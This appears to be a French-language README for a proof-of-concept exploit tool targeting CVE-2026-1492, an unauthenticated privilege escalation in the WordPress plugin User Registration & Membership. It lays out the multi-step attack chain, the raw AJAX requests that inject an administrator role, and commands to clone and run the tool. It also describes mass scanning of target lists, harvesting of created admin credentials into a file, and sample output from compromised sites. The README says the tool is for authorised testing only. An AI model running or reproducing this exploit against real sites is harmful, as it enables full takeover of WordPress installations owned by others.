
User Registration & Membership <= 5.1.2 - Élévation de privilèges non authentifiée via l'inscription à l'adhésion
User Registration & Membership <= 5.1.2 - Élévation de privilèges non authentifiée via l'inscription à l'adhésion
Description :
Le plugin User Registration & Membership pour WordPress est vulnérable à une élévation de privilèges non authentifiée dans toutes les versions jusqu'à la 5.1.2 incluse. La vulnérabilité provient du gestionnaire AJAX user_registration_membership_register_member, qui accepte une valeur role fournie par l'utilisateur pendant le processus d'inscription à l'adhésion, sans appliquer de liste blanche côté serveur ni de contrôle de capacités. Un attaquant distant totalement non authentifié peut construire une chaîne de requêtes AJAX en plusieurs étapes — en inscrivant d'abord un nouveau compte utilisateur, puis en soumettant un appel register_member malveillant avec "role": "administrator" injecté dans le payload JSON members_data — pour créer silencieusement un compte Administrateur WordPress doté de tous les privilèges. Cela aboutit à une compromission totale de l'installation WordPress concernée, sans aucune interaction de l'utilisateur.
Ceci est un script d'exploitation Proof-of-Concept (PoC) implémentant une chaîne d'attaque complète avec gestion d'état contre les sites WordPress exécutant une version vulnérable du plugin User Registration & Membership. L'outil réalise une exploitation intelligente en plusieurs étapes avec découverte automatique, extraction de plan, collecte de nonces, inscription à double flux, injection de rôle et vérification de l'administrateur.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
L'outil utilise une interface terminal entièrement interactive propulsée par Rich. Tous les paramètres sont demandés au moment de l'exécution.
Créez un fichier texte brut (par défaut : list.txt) avec une cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
L'outil découvre et analyse automatiquement :
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ Le serveur accepte le champ
roleenvoyé par le client sans aucune validation par liste blanche — c'est la cause racine de CVE-2026-1492.
L'outil ouvre une nouvelle session, se connecte avec les identifiants nouvellement créés et sonde :
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
Par : Nxploited (Khaled Alenazi)
CET OUTIL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ AUTORISÉE.
L'auteur, Nxploited (Khaled Alenazi), ainsi que tous les contributeurs de ce projet n'approuvent pas, ne soutiennent pas et n'assument aucune responsabilité quant à l'utilisation abusive de cet outil ou aux dommages causés par l'utilisation de ce logiciel contre des systèmes pour lesquels vous ne disposez pas d'une autorisation écrite explicite.
- ✅ Autorisé : Utilisation sur les systèmes que vous possédez ou pour lesquels une autorisation écrite explicite de test vous a été accordée.
- ❌ Interdit : Utilisation contre tout système sans autorisation écrite explicite préalable du propriétaire du système.
L'accès non autorisé à des systèmes informatiques est illégal et passible de sanctions en vertu des lois applicables, y compris, sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act (CMA) et la législation équivalente dans le monde entier.
En utilisant cet outil, vous acceptez l'unique et entière responsabilité de vos actes et confirmez que vous disposez de l'autorité légale pour tester les systèmes ciblés.
L'auteur n'assume aucune responsabilité, qu'elle soit directe, indirecte, accessoire ou consécutive, découlant de l'utilisation ou de la mauvaise utilisation de ce logiciel.
© 2026 Nxploited (Khaled Alenazi) — Pour la recherche en sécurité autorisée uniquement.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2026-1492 |
| Sévérité | CRITIQUE — Score CVSS v3.1 : 9.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Logiciel concerné | User Registration & Membership — Créateur de formulaire d'inscription personnalisé, formulaire de connexion personnalisé, profil utilisateur, restriction de contenu et plugin d'adhésion pour WordPress |
| Versions concernées | Toutes les versions jusqu'à la 5.1.2 incluse |
| Type de vulnérabilité | Gestion inappropriée des privilèges — Création non authentifiée de compte administrateur |
| Authentification requise | Aucune |
| CWE | CWE-269 : Gestion inappropriée des privilèges |
| Cible | Ce qui est extrait |
|---|
/membership-pricing/ | Identifiants des plans d'adhésion, liens de la page d'inscription |
/registration/ | Champs du formulaire, nonces, URL AJAX, boutons radio d'adhésion |
Objet JS user_registration_params | ajax_url, nonce security, métadonnées du formulaire |
ur_membership_frontend_localized_data | Nonce spécifique à l'adhésion, point de terminaison AJAX |
| Point de terminaison | Indicateur vérifié |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| Fichier | Description |
|---|
Nx_admin.txt | ✅ Comptes administrateur confirmés |
membership_success_log.txt | Tous les appels réussis d'injection de rôle d'adhésion |
discovery_log.txt | Données de découverte complètes par cible (nonces, identifiants, champs) |
registration_log.txt | Toutes les requêtes et réponses AJAX d'inscription |
membership_log.txt | Toutes les requêtes et réponses AJAX d'adhésion |
admin_check_log.txt | Tentatives de connexion et résultats de vérification de l'administrateur |
| Statut | Couleur | Signification |
|---|
ADMIN-A / ADMIN-B | 🟢 Vert | Administrateur confirmé — Flux A ou B |
ADMIN-A-OVERRIDE | 🟢 Vert | Administrateur confirmé après tentative de contournement |
REG-A-FAIL / REG-B-FAIL | 🟡 Jaune | L'AJAX d'inscription a renvoyé un échec |
MEM-A-FAIL / MEM-B-FAIL | 🟣 Magenta | L'appel d'injection de rôle d'adhésion a échoué |
REG-PENDING-A/B | ⚫ Sombre | Le compte nécessite une vérification par e-mail ou une approbation de l'administrateur |
NO-MEM-ID | ⚫ Sombre | Identifiant de plan d'adhésion introuvable sur la cible |
NO-UR-NONCE | ⚫ Sombre | Nonce d'inscription non extractible |
NO-ADMIN | ⚫ Sombre | Adhésion OK mais accès administrateur non confirmé |
TIMEOUT | ⚫ Sombre | Délai d'attente HTTP |
DEAD | ⚫ Sombre | Erreur de connexion — site inaccessible |
ERROR | 🔴 Rouge | Exception inattendue |